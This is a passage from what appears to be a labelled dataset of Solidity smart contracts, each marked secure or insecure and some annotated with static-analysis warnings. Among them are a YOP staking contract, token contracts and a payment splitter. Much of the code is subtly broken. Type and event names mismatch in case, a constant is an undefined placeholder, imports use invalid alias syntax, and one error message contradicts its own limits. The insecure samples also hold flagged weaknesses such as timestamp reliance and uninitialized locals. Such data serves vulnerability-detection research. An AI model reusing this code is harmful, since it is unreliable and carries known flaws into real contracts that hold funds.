"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract HopOnYop {\n\t// WARNING Optimization Issue (immutable-states | ID: f9f0dcd): HopOnYop.YOP should be immutable \n\t// Recommendation for f9f0dcd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public YOP;\n\n uint256 public RewardPool;\n uint256 public AllTimeStaked;\n uint256 public TVL;\n uint256 public RewardsOwed;\n uint256 private constant minStake = 88 * (10 ** 8);\n uint256 private constant maxStake = 33333 * (10 ** 8);\n uint8 public constant reward1 = 6;\n uint256 public constant stakedFor1 = 30 days;\n uint8 public constant reward2 = 15;\n uint256 public constant stakedFor2 = 60 days;\n uint8 public constant reward3 = 33;\n uint256 public constant stakedFor3 = 90 days;\n\n constructor(address addr) {\n YOP = IERC20(addr);\n }\n\n enum Options {\n d30,\n d60,\n d90\n }\n struct Stake {\n uint256 amount;\n uint256 stakingTime;\n options option;\n bool rewardTaken;\n }\n\n mapping(address => stake) private stakes;\n\n function feedRewardPool() public {\n uint256 tokenAmount = YOP.allowance(msg.sender, address(this));\n RewardPool += tokenAmount;\n require(YOP.transferFrom(msg.sender, address(this), tokenAmount));\n }\n\n function stakeYOP(options option) public {\n require(\n stakes[msg.sender].stakingTime == 0,\n \"Error: Only one staking per address!!!\"\n );\n uint256 tokenAmount = YOP.allowance(msg.sender, address(this));\n require(tokenAmount > 0, \"Error: Need to increase allowance first\");\n require(\n tokenAmount >= minStake && tokenAmount <= maxStake,\n \"Error: You should stake from 33 to 88888 tokens.\"\n );\n stakes[msg.sender].amount = tokenAmount;\n stakes[msg.sender].option = option;\n stakes[msg.sender].stakingTime = block.timestamp;\n\n uint256 reward = calculateReward(msg.sender);\n require(\n RewardPool >= reward + RewardsOwed,\n \"Error: No enough rewards for You, shouldve thought about this before it went moon\"\n );\n\n TVL += tokenAmount;\n RewardsOwed += reward;\n AllTimeStaked += tokenAmount;\n require(YOP.transferFrom(msg.sender, address(this), tokenAmount));\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 327a7f1): HopOnYop.claimRewards() uses timestamp for comparisons Dangerous comparisons require(bool,string)(stakes[msg.sender].stakingTime + stakedFor <= block.timestamp,Error Too soon to unstake)\n\t// Recommendation for 327a7f1: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: f7e1611): HopOnYop.claimRewards().stakedFor is a local variable never initialized\n\t// Recommendation for f7e1611: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function claimRewards() public {\n require(\n stakes[msg.sender].rewardTaken == false,\n \"Error: You already took the reward\"\n );\n uint256 stakedFor;\n options option = stakes[msg.sender].option;\n\n if (option == options.d30) stakedFor = stakedFor1;\n\n if (option == options.d60) stakedFor = stakedFor2;\n\n if (option == options.d90) stakedFor = stakedFor3;\n\n\t\t// timestamp | ID: 327a7f1\n require(\n stakes[msg.sender].stakingTime + stakedFor <= block.timestamp,\n \"Error: Too soon to unstake\"\n );\n uint256 reward = calculateReward(msg.sender);\n uint256 amount = stakes[msg.sender].amount;\n TVL -= amount;\n RewardsOwed -= reward;\n RewardPool -= reward;\n stakes[msg.sender].rewardTaken = true;\n\n _withdraw(reward + amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 7839e9d): HopOnYop.calculateReward(address).reward is a local variable never initialized\n\t// Recommendation for 7839e9d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function calculateReward(address staker) public view returns (uint256) {\n uint256 reward;\n options option = stakes[staker].option;\n\n if (option == options.d30) reward = reward1;\n\n if (option == options.d60) reward = reward2;\n\n if (option == options.d90) reward = reward3;\n\n return ((stakes[staker].amount * reward) / 100);\n }\n\n function getStakerInfo(\n address addr\n ) public view returns (uint256, uint256, options, bool) {\n return (\n stakes[addr].amount,\n stakes[addr].stakingTime,\n stakes[addr].option,\n stakes[addr].rewardTaken\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ab236f8): Reentrancy in HopOnYop._withdraw(uint256) External calls require(bool)(YOP.transfer(msg.sender,amount)) Event emitted after the call(s) withdrawHappened(msg.sender,amount)\n\t// Recommendation for ab236f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _withdraw(uint256 amount) internal {\n\t\t// reentrancy-events | ID: ab236f8\n require(YOP.transfer(msg.sender, amount));\n\t\t// reentrancy-events | ID: ab236f8\n emit withdrawHappened(msg.sender, amount);\n }\n\n event WithdrawHappened(address indexed to, uint256 amount);\n}",
"file_name": "solidity_code_2879.sol",
"secure": 0,
"size_bytes": 5861
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}",
"file_name": "solidity_code_288.sol",
"secure": 1,
"size_bytes": 425
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary TokenIdLib {\n uint256 internal constant tokenIdLimit = TOKEN_ID_LIMIT;\n uint256 internal constant collectionIdMultiplier =\n tokenIdLimit * tokenIdLimit;\n uint256 internal constant seriesIdMultiplier = tokenIdLimit;\n\n function encodeTokenId(\n uint256 collectionId,\n uint256 seriesId,\n uint256 tokenPosition\n ) internal pure returns (uint256) {\n return\n (collectionId + 1) *\n collectionIdMultiplier +\n (seriesId + 1) *\n seriesIdMultiplier +\n tokenPosition +\n 1;\n }\n\n function extractEdition(uint256 tokenId) internal pure returns (uint256) {\n return ((tokenId % seriesIdMultiplier)) - 1;\n }\n\n function extractSeriesId(uint256 tokenId) internal pure returns (uint256) {\n return ((tokenId % collectionIdMultiplier) / seriesIdMultiplier) - 1;\n }\n\n function extractCollectionId(\n uint256 tokenId\n ) internal pure returns (uint256) {\n uint256 id = tokenId / collectionIdMultiplier;\n return id == 0 ? 0 : id - 1;\n }\n}",
"file_name": "solidity_code_2880.sol",
"secure": 1,
"size_bytes": 1194
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./TokenIdLib.sol\" as TokenIdLib;\n\ncontract TokenId {\n uint256 internal constant tokenIdLimit = TOKEN_ID_LIMIT;\n uint256 public constant collectionIdMultiplier =\n tokenIdLimit * tokenIdLimit;\n uint256 public constant seriesIdMultiplier = tokenIdLimit;\n\n function encodeTokenId(\n uint256 collectionId,\n uint256 seriesId,\n uint256 tokenPosition\n ) public pure returns (uint256) {\n return TokenIdLib.encodeTokenId(collectionId, seriesId, tokenPosition);\n }\n\n function extractEdition(uint256 tokenId) public pure returns (uint256) {\n return TokenIdLib.extractEdition(tokenId);\n }\n\n function extractSeriesId(uint256 tokenId) public pure returns (uint256) {\n return TokenIdLib.extractSeriesId(tokenId);\n }\n\n function extractCollectionId(\n uint256 tokenId\n ) public pure returns (uint256) {\n return TokenIdLib.extractCollectionId(tokenId);\n }\n}",
"file_name": "solidity_code_2881.sol",
"secure": 1,
"size_bytes": 1043
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Boja is Ownable {\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: baa4b29): Boja.decimals should be immutable \n\t// Recommendation for baa4b29: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 319ce73): Boja.decimalfactor should be immutable \n\t// Recommendation for 319ce73: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 decimalfactor;\n uint256 public Max_Token;\n bool mintAllowed = true;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Burn(address indexed from, uint256 value);\n\t// WARNING Optimization Issue (constable-states | ID: 5eb9e52): Boja.promtionAddress should be constant \n\t// Recommendation for 5eb9e52: Add the 'constant' attribute to state variables that never change.\n address public promtionAddress = 0x59f23688Fe627a29d978b3e60593bb2dee713AcE;\n\t// WARNING Optimization Issue (constable-states | ID: 91ba544): Boja.teamMemberAddress should be constant \n\t// Recommendation for 91ba544: Add the 'constant' attribute to state variables that never change.\n address public teamMemberAddress =\n 0xCCd5d843a19D646484C57C94436ed6B0aD60acd6;\n\t// WARNING Optimization Issue (constable-states | ID: a9db465): Boja.developmentAddress should be constant \n\t// Recommendation for a9db465: Add the 'constant' attribute to state variables that never change.\n address public developmentAddress =\n 0x86661D2e13564645BB858b24FE3e2e3bAFcdE8B9;\n\t// WARNING Optimization Issue (constable-states | ID: fb678a0): Boja.reservedAddress should be constant \n\t// Recommendation for fb678a0: Add the 'constant' attribute to state variables that never change.\n address public reservedAddress = 0x7c5b27db13B78bFd5D3E5C9317f95955f6Ec8125;\n\n\t// WARNING Optimization Issue (constable-states | ID: d077a90): Boja.promtionPercentage should be constant \n\t// Recommendation for d077a90: Add the 'constant' attribute to state variables that never change.\n uint8 public promtionPercentage = 10;\n\t// WARNING Optimization Issue (constable-states | ID: 888f9ab): Boja.teamMemberPercentage should be constant \n\t// Recommendation for 888f9ab: Add the 'constant' attribute to state variables that never change.\n uint8 public teamMemberPercentage = 10;\n\t// WARNING Optimization Issue (constable-states | ID: 542f2a3): Boja.developmentPercentage should be constant \n\t// Recommendation for 542f2a3: Add the 'constant' attribute to state variables that never change.\n uint8 public developmentPercentage = 10;\n\t// WARNING Optimization Issue (constable-states | ID: d66e4e6): Boja.reservedPercentage should be constant \n\t// Recommendation for d66e4e6: Add the 'constant' attribute to state variables that never change.\n uint8 public reservedPercentage = 20;\n\n constructor(string memory SYMBOL, string memory NAME, uint8 DECIMALS) {\n symbol = SYMBOL;\n name = NAME;\n decimals = DECIMALS;\n decimalfactor = 10 ** uint256(decimals);\n Max_Token = 789000908 * decimalfactor;\n mint(promtionAddress, ((promtionPercentage * Max_Token) / 100));\n mint(teamMemberAddress, ((teamMemberPercentage * Max_Token) / 100));\n mint(developmentAddress, ((developmentPercentage * Max_Token) / 100));\n mint(reservedAddress, ((reservedPercentage * Max_Token) / 100));\n }\n\n function _transfer(address _from, address _to, uint256 _value) internal {\n require(_to != address(0));\n require(balanceOf[_from] >= _value);\n require(balanceOf[_to] + _value >= balanceOf[_to]);\n uint256 previousBalances = balanceOf[_from] + balanceOf[_to];\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n\n emit Transfer(_from, _to, _value);\n assert(balanceOf[_from] + balanceOf[_to] == previousBalances);\n }\n\n function transfer(address _to, uint256 _value) public returns (bool) {\n _transfer(msg.sender, _to, _value);\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public returns (bool success) {\n require(_value <= allowance[_from][msg.sender], \"Allowance error\");\n allowance[_from][msg.sender] -= _value;\n _transfer(_from, _to, _value);\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n allowance[msg.sender][_spender] = _value;\n return true;\n }\n\n function burn(uint256 _value) public returns (bool success) {\n require(balanceOf[msg.sender] >= _value);\n balanceOf[msg.sender] -= _value;\n Max_Token -= _value;\n totalSupply -= _value;\n emit Burn(msg.sender, _value);\n return true;\n }\n\n function mint(address _to, uint256 _value) public returns (bool success) {\n require(Max_Token >= (totalSupply + _value));\n require(mintAllowed, \"Max supply reached\");\n if (Max_Token == (totalSupply + _value)) {\n mintAllowed = false;\n }\n require(msg.sender == owner, \"Only Owner Can Mint\");\n balanceOf[_to] += _value;\n totalSupply += _value;\n require(balanceOf[_to] >= _value);\n emit Transfer(address(0), _to, _value);\n return true;\n }\n}",
"file_name": "solidity_code_2882.sol",
"secure": 1,
"size_bytes": 5878
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract SIANPaymentSpliiter {\n using SafeERC20 for IERC20;\n mapping(address => bool) public team;\n constructor() {\n team[0x33B18973a50519fE3195d92d6FfcEaEaa5Cc4365] = true;\n team[0xD043960394416035F14913F26EFC86eB26508959] = true;\n team[0xc0F030eac8b588817f8dA16b9a2CDCcc6451B25c] = true;\n team[0x45EB1D6283C98aCfaEbA07E5dEFe4612B0071d76] = true;\n team[0xb53b491e917Eefe9c4d713870B9a08D630670245] = true;\n team[0xe72441A43Ed985a9E3D43c11a7FcE93Dd282FF03] = true;\n team[0xE9D0BD5520af8c9ad20e12801315117dE9958149] = true;\n team[0x9178bCf3A4C25B9A321EDFE7360fA587f7bD10fd] = true;\n team[0xeD9C842645D9a2Bb66d4EAC77857768071384447] = true;\n }\n\n modifier onlyTeam() {\n require(team[msg.sender] == true);\n _;\n }\n\n function withdraw() external onlyTeam {\n uint256 currentBalance = address(this).balance;\n Address.sendValue(\n payable(0x33B18973a50519fE3195d92d6FfcEaEaa5Cc4365),\n (currentBalance * 312500) / 1000000\n );\n Address.sendValue(\n payable(0xD043960394416035F14913F26EFC86eB26508959),\n (currentBalance * 375000) / 1000000\n );\n Address.sendValue(\n payable(0xc0F030eac8b588817f8dA16b9a2CDCcc6451B25c),\n (currentBalance * 81250) / 1000000\n );\n Address.sendValue(\n payable(0x45EB1D6283C98aCfaEbA07E5dEFe4612B0071d76),\n (currentBalance * 68750) / 1000000\n );\n Address.sendValue(\n payable(0xb53b491e917Eefe9c4d713870B9a08D630670245),\n (currentBalance * 62500) / 1000000\n );\n Address.sendValue(\n payable(0xe72441A43Ed985a9E3D43c11a7FcE93Dd282FF03),\n (currentBalance * 56250) / 1000000\n );\n Address.sendValue(\n payable(0xE9D0BD5520af8c9ad20e12801315117dE9958149),\n (currentBalance * 21875) / 1000000\n );\n Address.sendValue(\n payable(0x9178bCf3A4C25B9A321EDFE7360fA587f7bD10fd),\n address(this).balance\n );\n }\n\n function withdrawERC20(address tokenAddress) external onlyTeam {\n uint256 currentBalance = IERC20(tokenAddress).balanceOf(address(this));\n IERC20(tokenAddress).safeTransfer(\n 0x33B18973a50519fE3195d92d6FfcEaEaa5Cc4365,\n (currentBalance * 312500) / 1000000\n );\n IERC20(tokenAddress).safeTransfer(\n 0xD043960394416035F14913F26EFC86eB26508959,\n (currentBalance * 375000) / 1000000\n );\n IERC20(tokenAddress).safeTransfer(\n 0xc0F030eac8b588817f8dA16b9a2CDCcc6451B25c,\n (currentBalance * 81250) / 1000000\n );\n IERC20(tokenAddress).safeTransfer(\n 0x45EB1D6283C98aCfaEbA07E5dEFe4612B0071d76,\n (currentBalance * 68750) / 1000000\n );\n IERC20(tokenAddress).safeTransfer(\n 0xb53b491e917Eefe9c4d713870B9a08D630670245,\n (currentBalance * 62500) / 1000000\n );\n IERC20(tokenAddress).safeTransfer(\n 0xe72441A43Ed985a9E3D43c11a7FcE93Dd282FF03,\n (currentBalance * 56250) / 1000000\n );\n IERC20(tokenAddress).safeTransfer(\n 0xE9D0BD5520af8c9ad20e12801315117dE9958149,\n (currentBalance * 21875) / 1000000\n );\n IERC20(tokenAddress).safeTransfer(\n 0x9178bCf3A4C25B9A321EDFE7360fA587f7bD10fd,\n (currentBalance * 21875) / 1000000\n );\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_2883.sol",
"secure": 1,
"size_bytes": 3917
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract JsBugToken is ERC20, ERC20Burnable {\n uint256 private constant INITIAL_SUPPLY = 100000000000 * 10 ** 18;\n\n constructor() ERC20(\"JsBug\", \"JSBUG\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n}",
"file_name": "solidity_code_2884.sol",
"secure": 1,
"size_bytes": 447
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract Trendy is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 100 * 10 ** 6 * 10 ** 18;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n address payable private _charityWalletAddress;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4bfc8a7): Trendy._name should be constant \n\t// Recommendation for 4bfc8a7: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Trendy\";\n\t// WARNING Optimization Issue (constable-states | ID: e25d4ee): Trendy._symbol should be constant \n\t// Recommendation for e25d4ee: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"TREND\";\n\t// WARNING Optimization Issue (constable-states | ID: efe4bc3): Trendy._decimals should be constant \n\t// Recommendation for efe4bc3: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: b052acf): Trendy._charityFee should be constant \n\t// Recommendation for b052acf: Add the 'constant' attribute to state variables that never change.\n uint256 public _charityFee = 2;\n\t// WARNING Optimization Issue (immutable-states | ID: d81402a): Trendy._previousCharityFee should be immutable \n\t// Recommendation for d81402a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _previousCharityFee = _charityFee;\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n _charityWalletAddress = payable(\n 0xA2D716DD346b801366dfc0a42B18D86A2478ce13\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8c9bccc): Trendy.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8c9bccc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function reflect(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3144c83): Trendy._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3144c83: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tCharity\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeCharity(tCharity, sender);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tCharity\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeCharity(tCharity, sender);\n _reflectFee(rFee, tFee);\n\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tCharity\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeCharity(tCharity, sender);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tCharity\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeCharity(tCharity, sender);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(\n tAmount\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tCharity,\n currentRate\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tCharity\n );\n }\n\n function _getTValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256) {\n uint256 tFee = (tAmount.mul(8)).div(100);\n uint256 tCharity = calculateCharityFee(tAmount);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);\n return (tTransferAmount, tFee, tCharity);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tCharity,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rCharity);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 24ee37c\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _takeCharity(uint256 tCharity, address sender) private {\n uint256 currentRate = _getRate();\n uint256 rCharity = tCharity.mul(currentRate);\n _rOwned[_charityWalletAddress] = _rOwned[_charityWalletAddress].add(\n rCharity\n );\n if (_isExcluded[_charityWalletAddress])\n _tOwned[_charityWalletAddress] = _tOwned[_charityWalletAddress].add(\n tCharity\n );\n emit Transfer(sender, _charityWalletAddress, tCharity);\n }\n\n function calculateCharityFee(\n uint256 _amount\n ) private view returns (uint256) {\n return _amount.mul(_charityFee).div(100);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 68a5146): Trendy._setCharityWalletAddress(address).charityWalletAddress lacks a zerocheck on \t _charityWalletAddress = charityWalletAddress\n\t// Recommendation for 68a5146: Check that the address is not zero.\n function _setCharityWalletAddress(\n address payable charityWalletAddress\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 68a5146\n _charityWalletAddress = charityWalletAddress;\n }\n}",
"file_name": "solidity_code_2885.sol",
"secure": 0,
"size_bytes": 15398
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is IERC20 {\n uint256 internal _totalSupply = 1e22;\n string _name;\n string _symbol;\n uint8 constant _decimals = 18;\n mapping(address => uint256) internal _balances;\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function decimals() external pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n _beforeTokenTransfer(from, to, amount);\n\n uint256 senderBalance = _balances[from];\n require(senderBalance >= amount);\n unchecked {\n _balances[from] = senderBalance - amount;\n }\n _balances[to] += amount;\n emit Transfer(from, to, 